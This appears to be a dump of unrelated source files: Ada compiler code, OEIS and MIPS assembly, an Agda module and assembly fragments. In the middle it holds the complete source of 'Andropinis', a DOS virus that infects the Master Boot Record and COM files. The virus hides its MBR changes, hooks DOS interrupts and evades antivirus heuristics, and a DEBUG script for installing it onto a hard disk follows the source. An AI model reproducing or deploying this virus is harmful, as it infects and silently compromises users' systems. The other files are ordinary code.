Make_Block_Statement (Loc,
Handled_Statement_Sequence =>
Make_Handled_Sequence_Of_Statements (Loc,
Statements => Stmts)));
Analyze (N);
end Expand_Decimal_Divide_Call;
-----------------------------------------------
-- Expand_Divide_Fixed_By_Fixed_Giving_Fixed --
-----------------------------------------------
procedure Expand_Divide_Fixed_By_Fixed_Giving_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
begin
-- Suppress expansion of a fixed-by-fixed division if the
-- operation is supported directly by the target.
if Target_Has_Fixed_Ops (Etype (Left), Etype (Right), Etype (N)) then
return;
end if;
if Etype (Left) = Universal_Real then
Do_Divide_Universal_Fixed (N);
elsif Etype (Right) = Universal_Real then
Do_Divide_Fixed_Universal (N);
else
Do_Divide_Fixed_Fixed (N);
-- A focused optimization: if after constant folding the
-- expression is of the form: T ((Exp * D) / D), where D is
-- a static constant, return T (Exp). This form will show up
-- when D is the denominator of the static expression for the
-- 'small of fixed-point types involved. This transformation
-- removes a division that may be expensive on some targets.
if Nkind (N) = N_Type_Conversion
and then Nkind (Expression (N)) = N_Op_Divide
then
declare
Num : constant Node_Id := Left_Opnd (Expression (N));
Den : constant Node_Id := Right_Opnd (Expression (N));
begin
if Nkind (Den) = N_Integer_Literal
and then Nkind (Num) = N_Op_Multiply
and then Nkind (Right_Opnd (Num)) = N_Integer_Literal
and then Intval (Den) = Intval (Right_Opnd (Num))
then
Rewrite (Expression (N), Left_Opnd (Num));
end if;
end;
end if;
end if;
end Expand_Divide_Fixed_By_Fixed_Giving_Fixed;
-----------------------------------------------
-- Expand_Divide_Fixed_By_Fixed_Giving_Float --
-----------------------------------------------
-- The division is done in Universal_Real, and the result is multiplied
-- by the small ratio, which is Small (Right) / Small (Left). Special
-- treatment is required for universal operands, which represent their
-- own value and do not require conversion.
procedure Expand_Divide_Fixed_By_Fixed_Giving_Float (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Left_Type : constant Entity_Id := Etype (Left);
Right_Type : constant Entity_Id := Etype (Right);
begin
-- Case of left operand is universal real, the result we want is:
-- Left_Value / (Right_Value * Right_Small)
-- so we compute this as:
-- (Left_Value / Right_Small) / Right_Value
if Left_Type = Universal_Real then
Set_Result (N,
Build_Divide (N,
Real_Literal (N, Realval (Left) / Small_Value (Right_Type)),
Fpt_Value (Right)));
-- Case of right operand is universal real, the result we want is
-- (Left_Value * Left_Small) / Right_Value
-- so we compute this as:
-- Left_Value * (Left_Small / Right_Value)
-- Note we invert to a multiplication since usually floating-point
-- multiplication is much faster than floating-point division.
elsif Right_Type = Universal_Real then
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Left),
Real_Literal (N, Small_Value (Left_Type) / Realval (Right))));
-- Both operands are fixed, so the value we want is
-- (Left_Value * Left_Small) / (Right_Value * Right_Small)
-- which we compute as:
-- (Left_Value / Right_Value) * (Left_Small / Right_Small)
else
Set_Result (N,
Build_Multiply (N,
Build_Divide (N, Fpt_Value (Left), Fpt_Value (Right)),
Real_Literal (N,
Small_Value (Left_Type) / Small_Value (Right_Type))));
end if;
end Expand_Divide_Fixed_By_Fixed_Giving_Float;
-------------------------------------------------
-- Expand_Divide_Fixed_By_Fixed_Giving_Integer --
-------------------------------------------------
procedure Expand_Divide_Fixed_By_Fixed_Giving_Integer (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
begin
if Etype (Left) = Universal_Real then
Do_Divide_Universal_Fixed (N);
elsif Etype (Right) = Universal_Real then
Do_Divide_Fixed_Universal (N);
else
Do_Divide_Fixed_Fixed (N);
end if;
end Expand_Divide_Fixed_By_Fixed_Giving_Integer;
-------------------------------------------------
-- Expand_Divide_Fixed_By_Integer_Giving_Fixed --
-------------------------------------------------
-- Since the operand and result fixed-point type is the same, this is
-- a straight divide by the right operand, the small can be ignored.
procedure Expand_Divide_Fixed_By_Integer_Giving_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
begin
Set_Result (N, Build_Divide (N, Left, Right));
end Expand_Divide_Fixed_By_Integer_Giving_Fixed;
-------------------------------------------------
-- Expand_Multiply_Fixed_By_Fixed_Giving_Fixed --
-------------------------------------------------
procedure Expand_Multiply_Fixed_By_Fixed_Giving_Fixed (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
procedure Rewrite_Non_Static_Universal (Opnd : Node_Id);
-- The operand may be a non-static universal value, such an
-- exponentiation with a non-static exponent. In that case, treat
-- as a fixed * fixed multiplication, and convert the argument to
-- the target fixed type.
----------------------------------
-- Rewrite_Non_Static_Universal --
----------------------------------
procedure Rewrite_Non_Static_Universal (Opnd : Node_Id) is
Loc : constant Source_Ptr := Sloc (N);
begin
Rewrite (Opnd,
Make_Type_Conversion (Loc,
Subtype_Mark => New_Occurrence_Of (Etype (N), Loc),
Expression => Expression (Opnd)));
Analyze_And_Resolve (Opnd, Etype (N));
end Rewrite_Non_Static_Universal;
-- Start of processing for Expand_Multiply_Fixed_By_Fixed_Giving_Fixed
begin
-- Suppress expansion of a fixed-by-fixed multiplication if the
-- operation is supported directly by the target.
if Target_Has_Fixed_Ops (Etype (Left), Etype (Right), Etype (N)) then
return;
end if;
if Etype (Left) = Universal_Real then
if Nkind (Left) = N_Real_Literal then
Do_Multiply_Fixed_Universal (N, Left => Right, Right => Left);
elsif Nkind (Left) = N_Type_Conversion then
Rewrite_Non_Static_Universal (Left);
Do_Multiply_Fixed_Fixed (N);
end if;
elsif Etype (Right) = Universal_Real then
if Nkind (Right) = N_Real_Literal then
Do_Multiply_Fixed_Universal (N, Left, Right);
elsif Nkind (Right) = N_Type_Conversion then
Rewrite_Non_Static_Universal (Right);
Do_Multiply_Fixed_Fixed (N);
end if;
else
Do_Multiply_Fixed_Fixed (N);
end if;
end Expand_Multiply_Fixed_By_Fixed_Giving_Fixed;
-------------------------------------------------
-- Expand_Multiply_Fixed_By_Fixed_Giving_Float --
-------------------------------------------------
-- The multiply is done in Universal_Real, and the result is multiplied
-- by the adjustment for the smalls which is Small (Right) * Small (Left).
-- Special treatment is required for universal operands.
procedure Expand_Multiply_Fixed_By_Fixed_Giving_Float (N : Node_Id) is
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
Left_Type : constant Entity_Id := Etype (Left);
Right_Type : constant Entity_Id := Etype (Right);
begin
-- Case of left operand is universal real, the result we want is
-- Left_Value * (Right_Value * Right_Small)
-- so we compute this as:
-- (Left_Value * Right_Small) * Right_Value;
if Left_Type = Universal_Real then
Set_Result (N,
Build_Multiply (N,
Real_Literal (N, Realval (Left) * Small_Value (Right_Type)),
Fpt_Value (Right)));
-- Case of right operand is universal real, the result we want is
-- (Left_Value * Left_Small) * Right_Value
-- so we compute this as:
-- Left_Value * (Left_Small * Right_Value)
elsif Right_Type = Universal_Real then
Set_Result (N,
Build_Multiply (N,
Fpt_Value (Left),
Real_Literal (N, Small_Value (Left_Type) * Realval (Right))));
-- Both operands are fixed, so the value we want is
-- (Left_Value * Left_Small) * (Right_Value * Right_Small)
-- which we compute as:
-- (Left_Value * Right_Value) * (Right_Small * Left_Small)
else
Set_Result (N,
Build_Multiply (N,
Build_Multiply (N, Fpt_Value (Left), Fpt_Value (Right)),
Real_Literal (N,
Small_Value (Right_Type) * Small_Value (Left_Type))));
end if;
end Expand_Multiply_Fixed_By_Fixed_Giving_Float;
---------------------------------------------------
-- Expand_Multiply_Fixed_By_Fixed_Giving_Integer --
---------------------------------------------------
procedure Expand_Multiply_Fixed_By_Fixed_Giving_Integer (N : Node_Id) is
Loc : constant Source_Ptr := Sloc (N);
Left : constant Node_Id := Left_Opnd (N);
Right : constant Node_Id := Right_Opnd (N);
begin
if Etype (Left) = Universal_Real then
Do_Multiply_Fixed_Universal (N, Left => Right, Right => Left);
elsif Etype (Right) = Universal_Real then
Do_Multiply_Fixed_Universal (N, Left, Right);
-- If both types are equal and we need to avoid floating point
-- instructions, it's worth introducing a temporary with the
-- common type, because it may be evaluated more simply without
-- the need for run-time use of floating point.
elsif Etype (Right) = Etype (Left)
and then Restriction_Active (No_Floating_Point)
then
declare
Temp : constant Entity_Id := Make_Temporary (Loc, 'F');
Mult : constant Node_Id := Make_Op_Multiply (Loc, Left, Right);
Decl : constant Node_Id :=
Make_Object_Declaration (Loc,
Defining_Identifier => Temp,
Object_Definition => New_Occurrence_Of (Etype (Right), Loc),
Expression => Mult);
begin
Insert_Action (N, Decl);
Rewrite (N,
OK_Convert_To (Etype (N), New_Occurrence_Of (Temp, Loc)));
Analyze_And_Resolve (N, Standard_Integer);
end;
else
Do_Multiply_Fixed_Fixed (N);
end if;
end Expand_Multiply_Fixed_By_Fixed_Giving_Integer;
---------------------------------------------------
-- Expand_Multiply_Fixed_By_Integer_Giving_Fixed --
---------------------------------------------------
-- Since the operand and result fixed-point type is the same, this is
-- a straight multiply by the right operand, the small can be ignored.
procedure Expand_Multiply_Fixed_By_Integer_Giving_Fixed (N : Node_Id) is
begin
Set_Result (N,
Build_Multiply (N, Left_Opnd (N), Right_Opnd (N)));
end Expand_Multiply_Fixed_By_Integer_Giving_Fixed;
---------------------------------------------------
-- Expand_Multiply_Integer_By_Fixed_Giving_Fixed --
---------------------------------------------------
-- Since the operand and result fixed-point type is the same, this is
-- a straight multiply by the right operand, the small can be ignored.
procedure Expand_Multiply_Integer_By_Fixed_Giving_Fixed (N : Node_Id) is
begin
Set_Result (N,
Build_Multiply (N, Left_Opnd (N), Right_Opnd (N)));
end Expand_Multiply_Integer_By_Fixed_Giving_Fixed;
---------------
-- Fpt_Value --
---------------
function Fpt_Value (N : Node_Id) return Node_Id is
Typ : constant Entity_Id := Etype (N);
begin
if Is_Integer_Type (Typ)
or else Is_Floating_Point_Type (Typ)
then
return Build_Conversion (N, Universal_Real, N);
-- Fixed-point case, must get integer value first
else
return Build_Conversion (N, Universal_Real, N);
end if;
end Fpt_Value;
---------------------
-- Integer_Literal --
---------------------
function Integer_Literal
(N : Node_Id;
V : Uint;
Negative : Boolean := False) return Node_Id
is
T : Entity_Id;
L : Node_Id;
begin
if V < Uint_2 ** 7 then
T := Standard_Integer_8;
elsif V < Uint_2 ** 15 then
T := Standard_Integer_16;
elsif V < Uint_2 ** 31 then
T := Standard_Integer_32;
elsif V < Uint_2 ** 63 then
T := Standard_Integer_64;
else
return Empty;
end if;
if Negative then
L := Make_Integer_Literal (Sloc (N), UI_Negate (V));
else
L := Make_Integer_Literal (Sloc (N), V);
end if;
-- Set type of result in case used elsewhere (see note at start)
Set_Etype (L, T);
Set_Is_Static_Expression (L);
-- We really need to set Analyzed here because we may be creating a
-- very strange beast, namely an integer literal typed as fixed-point
-- and the analyzer won't like that.
Set_Analyzed (L);
return L;
end Integer_Literal;
------------------
-- Real_Literal --
------------------
function Real_Literal (N : Node_Id; V : Ureal) return Node_Id is
L : Node_Id;
begin
L := Make_Real_Literal (Sloc (N), V);
-- Set type of result in case used elsewhere (see note at start)
Set_Etype (L, Universal_Real);
return L;
end Real_Literal;
------------------------
-- Rounded_Result_Set --
------------------------
function Rounded_Result_Set (N : Node_Id) return Boolean is
K : constant Node_Kind := Nkind (N);
begin
if (K = N_Type_Conversion or else
K = N_Op_Divide or else
K = N_Op_Multiply)
and then
(Rounded_Result (N) or else Is_Integer_Type (Etype (N)))
then
return True;
else
return False;
end if;
end Rounded_Result_Set;
----------------
-- Set_Result --
----------------
procedure Set_Result
(N : Node_Id;
Expr : Node_Id;
Rchk : Boolean := False;
Trunc : Boolean := False)
is
Cnode : Node_Id;
Expr_Type : constant Entity_Id := Etype (Expr);
Result_Type : constant Entity_Id := Etype (N);
begin
-- No conversion required if types match and no range check or truncate
if Result_Type = Expr_Type and then not (Rchk or Trunc) then
Cnode := Expr;
-- Else perform required conversion
else
Cnode := Build_Conversion (N, Result_Type, Expr, Rchk, Trunc);
end if;
Rewrite (N, Cnode);
Analyze_And_Resolve (N, Result_Type);
end Set_Result;
end Exp_Fixd;
|
oeis/321/A321175.asm
|
neoneye/loda-programs
| 11 |
171969
|
<filename>oeis/321/A321175.asm
; A321175: a(n) = -a(n-1) + 2*a(n-2) + a(n-3), a(0) = -1, a(1) = -2, a(2) = 3.
; Submitted by <NAME>
; -1,-2,3,-8,12,-25,41,-79,136,-253,446,-816,1455,-2641,4735,-8562,15391,-27780,50000,-90169,162389,-292727,527336,-950401,1712346,-3085812,5560103,-10019381,18053775,-32532434,58620603,-105631696,190340468,-342983257,618032497,-1113658543,2006740280,-3616024869,6515846886,-11741156344,21156825247,-38123291049,68695785199,-123785542050,223053821399,-401929120300,724251221048,-1305055640249,2351628962045,-4237489021495,7635691305336,-13759040386281,24792933975458,-44675323442684,80502151007319
mov $3,2
mov $4,-1
lpb $0
sub $0,1
add $2,$1
add $4,1
add $3,$4
add $1,$3
add $4,$2
cmp $2,1
add $3,$4
sub $4,$3
add $3,$4
add $3,$4
lpe
mov $0,$4
|
libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/puts_unlocked_fastcall.asm
|
meesokim/z88dk
| 0 |
104864
|
; int puts_unlocked_fastcall(const char *s)
SECTION code_stdio
PUBLIC _puts_unlocked_fastcall
EXTERN asm_puts_unlocked
_puts_unlocked_fastcall:
push ix
call asm_puts_unlocked
pop ix
ret
|
src/Categories/Category/Equivalence/Preserves.agda
|
Trebor-Huang/agda-categories
| 279 |
6458
|
{-# OPTIONS --without-K --safe #-}
-- Categorical equivalences preserve various structures
module Categories.Category.Equivalence.Preserves where
open import Level
open import Categories.Adjoint.Equivalence using (β£Equivalence)
open import Categories.Category.Core
open import Categories.Category.Equivalence using (WeakInverse; StrongEquivalence)
open import Categories.Category.Equivalence.Properties using (Cβ
D)
open import Categories.Diagram.Duality
open import Categories.Functor.Core
open import Categories.Morphism
import Categories.Morphism.Reasoning as MR
open import Categories.NaturalTransformation.NaturalIsomorphism.Properties
open import Categories.Object.Initial
open import Categories.Object.Terminal
open import Categories.Object.Duality
private
variable
o β e oβ² ββ² eβ² : Level
C : Category o β e
D : Category oβ² ββ² eβ²
module _ (S : StrongEquivalence C D) where
open StrongEquivalence S
open IsInitial
private
module C = Category C
module D = Category D
module F = Functor F
module G = Functor G
X : β£Equivalence C D
X = Cβ
D S
-- see below the proof for the abbreviations that make the proof readable
pres-IsInitial : {c : C.Obj} (i : IsInitial C c) β IsInitial D (F.β c)
pres-IsInitial {c} i = record
{ ! = Ξ» {A} β FβGβid.β.Ξ· A D.β F.β (! i)
; !-unique = Ξ» {A} f β begin {- f : F.β c D.β A -}
FGβ A D.β F.β (! i) ββ¨ (reflβ©ββ¨ F.F-resp-β (!-unique i _)) β©
FGβ A D.β F.β ((G.β f C.β GFβ) C.β G.β FGββ² C.β GFβ) ββ¨ (reflβ©ββ¨ F.homomorphism) β©
FGβ A D.β F.β (G.β f C.β GFβ) D.β F.β (G.β FGββ² C.β GFβ) ββ¨ (reflβ©ββ¨ reflβ©ββ¨ (F.homomorphism β (D.Equiv.sym (Fβid-commβ FβGβid) β©ββ¨refl))) β©
FGβ A D.β F.β (G.β f C.β GFβ) D.β FGβ D.β F.Fβ GFβ ββ¨ (reflβ©ββ¨ F.homomorphism β©ββ¨refl) β©
FGβ A D.β (F.β (G.β f) D.β F.β GFβ) D.β (FGβ D.β F.Fβ GFβ) ββ¨ (D.sym-assoc β (D.sym-assoc β©ββ¨refl) β D.assoc) β©
(FGβ A D.β F.β (G.β f)) D.β F.Fβ GFβ D.β FGβ D.β F.Fβ GFβ ββ¨ (FβGβid.β.commute f β©ββ¨ D.sym-assoc) β©
(f D.β FGβ (F.β c)) D.β (F.Fβ GFβ D.β FGβ) D.β F.Fβ GFβ ββ¨ (D.assoc β (reflβ©ββ¨ D.sym-assoc)) β©
f D.β (FGβ (F.β c) D.β F.Fβ GFβ D.β FGβ) D.β F.Fβ GFβ ββ¨ elimΚ³ (β£Equivalence.zig X) β©
f β
}
where
open D.HomReasoning
open MR D
FGβ : (A : D.Obj) β F.β (G.β A) D.β A
FGβ A = FβGβid.β.Ξ· A
FGβ = FβGβid.β.Ξ· (F.Fβ (G.Fβ (F.Fβ c)))
FGββ² = FβGβid.β.Ξ· (F.β c)
GFβ : c C.β G.β (F.β c)
GFβ = GβFβid.β.Ξ· c
GFβ = GβFβid.β.Ξ· (G.Fβ (F.Fβ c))
pres-Initial : Initial C β Initial D
pres-Initial i = record { β₯ = F.β β₯ ; β₯-is-initial = pres-IsInitial β₯-is-initial }
where open Initial i
-- We can do the other proof by duality
pres-terminal : {C : Category o β e} {D : Category oβ² ββ² eβ²} (S : StrongEquivalence C D) {c : Category.Obj C} β (t : IsTerminal C c) β IsTerminal D (Functor.Fβ (StrongEquivalence.F S) c)
pres-terminal {C = C} {D} S {c} t = IsInitialβcoIsTerminal (Category.op D) (pres-IsInitial Sop (coIsTerminalβIsInitial (Category.op C) t))
where
Sop : StrongEquivalence (Category.op C) (Category.op D)
Sop = StrongEquivalence.op S
pres-Terminal : {C : Category o β e} {D : Category oβ² ββ² eβ²} (S : StrongEquivalence C D) (t : Terminal C) β Terminal D
pres-Terminal S t = record { β€ = Functor.Fβ F β€; β€-is-terminal = pres-terminal S β€-is-terminal}
where
open Terminal t
open StrongEquivalence S
|
oeis/188/A188554.asm
|
neoneye/loda-programs
| 11 |
10669
|
<reponame>neoneye/loda-programs
; A188554: Number of 3Xn binary arrays without the pattern 0 1 diagonally, vertically, antidiagonally or horizontally
; 4,7,12,20,32,49,72,102,140,187,244,312,392,485,592,714,852,1007,1180,1372,1584,1817,2072,2350,2652,2979,3332,3712,4120,4557,5024,5522,6052,6615,7212,7844,8512,9217,9960,10742,11564,12427,13332,14280,15272,16309,17392,18522,19700,20927,22204,23532,24912,26345,27832,29374,30972,32627,34340,36112,37944,39837,41792,43810,45892,48039,50252,52532,54880,57297,59784,62342,64972,67675,70452,73304,76232,79237,82320,85482,88724,92047,95452,98940,102512,106169,109912,113742,117660,121667,125764,129952
add $0,2
mov $1,$0
bin $0,3
add $0,$1
add $0,$1
|
examples/NotLinearPat.agda
|
andreasabel/miniagda
| 85 |
14547
|
module NotLinearPat where
data Nat : Set where
zero : Nat
succ : Nat -> Nat
bad : Nat -> Nat -> Nat
bad x x = zero
bad x y = succ zero
|
MSDOS/Virus.MSDOS.Unknown.andropin.asm
|
fengjixuchui/Family
| 3 |
243324
|
<reponame>fengjixuchui/Family
;******************************************************************************
;
; Virus name : Andropinis
; Author : Rajaat
; Origin : United Kingdom, March 1995
; Compiling : Using TASM | Using A86
; |
; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM
; TLINK ANDROPIN |
; EXE2BIN ANDROPIN |
; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2
; Modify the partition record to point to this code
; (a debug script is provided at the end of this source)
; Targets : Master Boot Record & COM files
; Size : 512 bytes
; Polymorphic : No
; Encrypted : No
; Stealth : Full Stealth on Master Boot Record
; Tunneling : No - is not needed if started from Master boot record
; Retrovirus : No
; Antiheuristics: Yes - for TBAV
; Peculiarities : Infects MBR by modifying 2 bytes
; Uses SFT's to infect COM files
; Avoids Thunderbyte Antivirus using a 2 byte signature!
; Behaviour : When an infected COM file is run, the virus will not become
; resident, but will first infect the master boot record. It
; does its work in a very peculiar way. It modifies the
; 1st partition record with the result that it points to
; cylinder 0, head 0, sector 2. The viral bootsector will be
; stored there. The next time when a system is booted,
; Andropinis will become resident in high memory, but below
; the top of memory. Programs like CHKDSK.EXE will show a
; decrease in system memory of 1024 bytes. The virus will hook
; interrupt 13 at this time and wait till interrupt 21 is
; captured 3 times. Andropinis will then take interrupt 21
; itself. The virus is now stealth on the master boot record,
; only modifying the pointer to the bootsector in memory when
; the master boot record is read. The virus will infect COM
; files when copied, therefore not needing a critical interrupt
; handler. Andropinis will only infect COM files when they are
; between 4095 and 61441 bytes. Infected files will begin with
; a PUSH AX, DEC BX, NOP and a near jump to the virus code.
; The first 2 instructions will cause the Thunderbyte scanner
; to avoid the file. It thinks it's processed with PkLite! f
; Even the "ex"tract option doesn't work and gives back a "N/A"
; for every infected file. F-PROT detects nothing, except when
; the /ANALYSE option is used. AVP gives a virus "Type Boot"
; suspicion. How true that is. The weak point of the virus is
; its lack of protection in infected COM files, so it relies on
; the fact that the Master Boot Record infection isn't visible.
; Tai-Pan spread also far, and was even more simplistic than
; Andropinis, with the exception that is infected the more
; common filetype, the EXE file. The virus doesn't do any
; intended harm, as Patty would say :
; "It's unknown what this virus does besides replicate."
; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE],
; and all other virus writers that exist.
;
;******************************************************************************
.model tiny ; this must become a BIN file
.code ; let's start with the code, ok
.radix 16 ; safe hex
org 0 ; throw it in the bin
;******************************************************************************
; Viral boot sector
;******************************************************************************
virus: xor bx,bx ; initialise stack and data
cli ; segment
mov ss,bx ;
mov ds,bx ;
mov sp,7c00 ;
push sp ;
sti ;
mov si,413 ; steal some memory from the
dec word ptr [si] ; top
lodsw ;
mov cl,6 ; calculate free segment for
shl ax,cl ; virus
mov es,ax ;
pop si
mov di,bx ; push data for a far jump to
push di ; the virus code in high memory
push es ;
lea ax,init_resident ;
push ax ;
mov cx,100 ; move the code to high memory
move_boot: movsw ; this doesn't trigger tbav
loop move_boot ;
retf ; return to the address pushed
;******************************************************************************
; the following piece of code is executed in high memory
;******************************************************************************
init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag
lea di,old_13 ; store old int 13 vector and
mov si,4*13 ; replace it with our new
lea ax,new_13 ; handler
xchg ax,[si] ;
stosw ;
mov ax,cs ;
xchg ax,[si+2] ;
stosw ;
mov si,4*21 ; store new address to int 21
lea ax,new_21 ; vector
xchg ax,[si] ;
mov ax,cs ;
xchg ax,[si+2] ;
pop es ; read the original bootsector
push es ; and execute it
mov ax,0201 ;
mov dx,180 ;
mov cx,1 ;
mov bx,7c00 ;
push bx ;
int 13h ;
retf ;
;******************************************************************************
; new int 13 handler
;******************************************************************************
new_13: cmp ax,5001 ; installation check
jne no_inst_check ;
xchg ah,al ;
iret
no_inst_check: cmp ah,2 ; check if partition sector
jne no_stealth ; is read. if not, there's
cmp dx,80 ; no need to use stealth
jne no_stealth ;
cmp cx,1 ;
jne no_stealth ;
pushf ; perform read action, and
call dword ptr cs:[old_13] ; go to stealth_mbr if no error
jnc stealth_mbr ; occured
retf 2 ;
stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active?
jne not_infected ; no, goto not_infected
mov word ptr es:1bf[bx],0101 ; stealth virus
not_infected: iret ;
no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int
je eoi_13 ; 21, get lost to eoi_13
push ax ; preserve these
push ds ;
xor ax,ax ; is int 21 changed?
mov ds,ax ;
mov ax,cs ;
cmp ax,word ptr ds:[4*21+2] ;
je int_21_ok ; no, int 21 is ok
inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag
lea ax,new_21 ; capture int 21 and store
xchg ax,ds:[4*21] ; the old vector
mov word ptr cs:old_21,ax ;
mov ax,cs ;
xchg ax,ds:[4*21+2] ;
mov word ptr cs:old_21[2],ax ;
int_21_ok: pop ds ; get these back
pop ax ;
eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13
;******************************************************************************
; new int 21 handler
;******************************************************************************
new_21: cmp ah,40 ; is a write command performed?
je write_to_file ; yeah, write_to_file
eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21
write_to_file: push ax ; preserve some registers
push bx ;
push dx ;
push di ;
push es ;
mov ax,4400 ; check if the write belongs
int 21 ; to a device
test dl,80 ;
jnz not_suitable ;
mov ax,1220 ; find file handle table that
int 2f ; belongs to the handle in bx
mov bl,byte ptr es:[di] ;
mov ax,1216 ;
int 2f ;
mov bx,2020 ; check if the file has a com
mov ax,word ptr es:[di+28] ; extension
or ax,bx ;
cmp ax,'oc' ;
jne not_suitable ;
mov al,byte ptr es:[di+2a] ;
or al,bl ;
cmp al,'m' ;
jne not_suitable ;
cmp word ptr es:[di+11],0 ; check if file length is
jne not_suitable ; zero
cmp cx,1000 ; check if piece of code is
jb not_suitable ; not too short or too long
cmp cx,0f000 ;
ja not_suitable ;
pop es ; these registers are done
pop di ;
pop dx ;
mov bx,dx ; check if the file is a
cmp word ptr ds:[bx],'ZM' ; renamed exe file
je is_renamed_exe ;
cmp word ptr ds:[bx+2],0e990 ; check if already infected
jne infect_com ;
jmp is_renamed_exe
not_suitable: pop es ; done with this interrupt
pop di ; service routine, so chain
pop dx ; to the old 21 routine
is_renamed_exe: pop bx ;
pop ax ;
jmp eoi_21 ;
;******************************************************************************
; piece of code that infects a COM file
;******************************************************************************
infect_com: pop bx ; this register was done
push cx ; get the first 6 bytes of the
push si ; host and overwrite them with
add cx,offset com_entry-6 ; the new bytes. it places a
mov si,dx ; nifty piece of code to
mov ax,'KP' ; render tbscans heuristics
xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX
mov word ptr cs:org_com,ax ; (PK) in the begin of the
lodsw ; program makes tbscan think
mov ax,0e990 ; it is a PkLite compressed
xchg word ptr ds:[si],ax ; file and will skip it!
mov word ptr cs:org_com+2,ax ;
lodsw ;
xchg word ptr ds:[si],cx ;
mov word ptr cs:org_com+4,cx ;
pop si ;
pop cx ;
pop ax ; perform original write
pushf ; command
call dword ptr cs:[old_21] ;
push ax ; and append the virus at the
push cx ; end of the file
push dx ;
push ds ;
push cs ;
pop ds ;
mov ah,40 ;
mov cx,virus_length_b ;
lea dx,virus ;
pushf ;
call dword ptr cs:[old_21] ;
pop ds ;
pop dx ;
pop cx ;
pop ax ;
retf 2 ;
;******************************************************************************
; this gets executed by an infected COM file
;******************************************************************************
com_entry: call get_offset ; old hat for getting the
get_offset: pop bp ; delta offset
sub bp,offset get_offset ;
mov ax,5001 ; if the virus is resident it
int 13 ; doesn't need to infect the
cmp ax,0150 ; master boot record
je is_active ;
mov ax,0201 ; read master boot record.
lea bx,heap[bp] ; if an error occured, goto
mov cx,1 ; is_active
mov dx,80 ;
int 13 ;
jc is_active ;
cmp word ptr [bx+1be+1],0101 ; test if the partition begins
jne is_active ; at the normal sector
test byte ptr [bx+1be],80 ; test of the partition is
jz is_active ; bootable
mov al,byte ptr [bx+1be+4] ; test if the partition type
cmp al,4 ; is ok
jb is_active ;
cmp al,6 ;
ja is_active ;
mov word ptr [bx+1be+1],200 ; change pointer to virus code
mov ax,0301 ; write back the master boot
push ax ; record. quit if error
int 13 ; occured
pop ax ;
jc is_active ;
inc cx ; write virus to sector 2
lea bx,virus[bp] ; (right behind the mbr)
int 13 ;
is_active: lea si,org_com[bp] ; restore beginning of the
mov di,100 ; host and execute it
pop ax ;
push cs ;
push di ;
movsw ;
movsw ;
movsw ;
retf ;
;******************************************************************************
; some data used by the virus
;******************************************************************************
db '[Andropinis]' ; my childs name
db ' by Rajaat',0 ; my name
org 1fe ; for the bootsector
db 55,0aa ; boot signature
;******************************************************************************
; the things below aren't copied into the viral boot sector, only in COM files
;******************************************************************************
org_com equ $ ; original program data
heap equ $+6 ; memory for data
virus_length_b equ heap-virus ; who says size doesn't count?
virus_length_s equ (virus_length_b+1ff) / 200 ;
virus_length_k equ (virus_length_b+3ff) / 400 ;
old_13 equ heap+6 ; old int 13 vector
old_21 equ heap+0a ; old int 21 vector
hook_21_flag equ heap+0e ; int 21 hook flag
end virus ; the end complete
end ;
;******************************************************************************
; remove the piece below if you use A86 instead of TASM, because it will
; choke on it
--- debug script for installing the Andropinis virus ---
install with
DEBUG ANDROPIN.BIN < scriptname
where scriptname is the name that you give to the mess below
--- cut here ---
m 100 l200 1000
a
mov ax,0201
mov bx,800
mov cx,1
mov dx,80
int 13
mov si,9bf
mov word ptr [si],200
mov ax,0301
mov dx,80
int 13
mov ax,0301
mov bx,1000
inc cx
int 13
int 20
g
q
--- cut here ---
|
upperCaseChange.asm
|
ILZM/mips_examples
| 0 |
167806
|
.data
mystring: .asciiz "0 LIKE to program in MIPS ZzZ"
.text
j main
is_upper:
add $v0, $zero, $zero
slti $t1, $a0, 65
bne $t1, 0, notUpperCase
sleu $t1, $a0, 90
bne $t1, 1, notUpperCase
add $v0, $zero, 1
notUpperCase:
jr $ra
main:
la $t0, mystring
whileNotEOS:
lbu $a0, 0($t0)
jal is_upper
bne $v0, 1, skipChange
add $a0, $a0, 32
sb $a0, 0($t0)
skipChange:
add $t0, $t0, 1
bne $a0, 0, whileNotEOS
add $v0, $zero, 4
la $a0, mystring
syscall
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_12_557.asm
|
ljhsiun2/medusa
| 9 |
169553
|
<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x135f8, %rbp
sub %r10, %r10
mov (%rbp), %bx
nop
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_A_ht+0x153f2, %rsi
nop
nop
cmp %rdx, %rdx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rsi)
nop
sub %rbp, %rbp
lea addresses_normal_ht+0xab8e, %rsi
lea addresses_WT_ht+0x1c578, %rdi
clflush (%rdi)
nop
nop
nop
nop
inc %r9
mov $91, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %r9
lea addresses_UC_ht+0x177f8, %rsi
nop
inc %rbp
mov (%rsi), %r9w
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0x2cf8, %rdx
add %rsi, %rsi
movb (%rdx), %bl
nop
nop
nop
nop
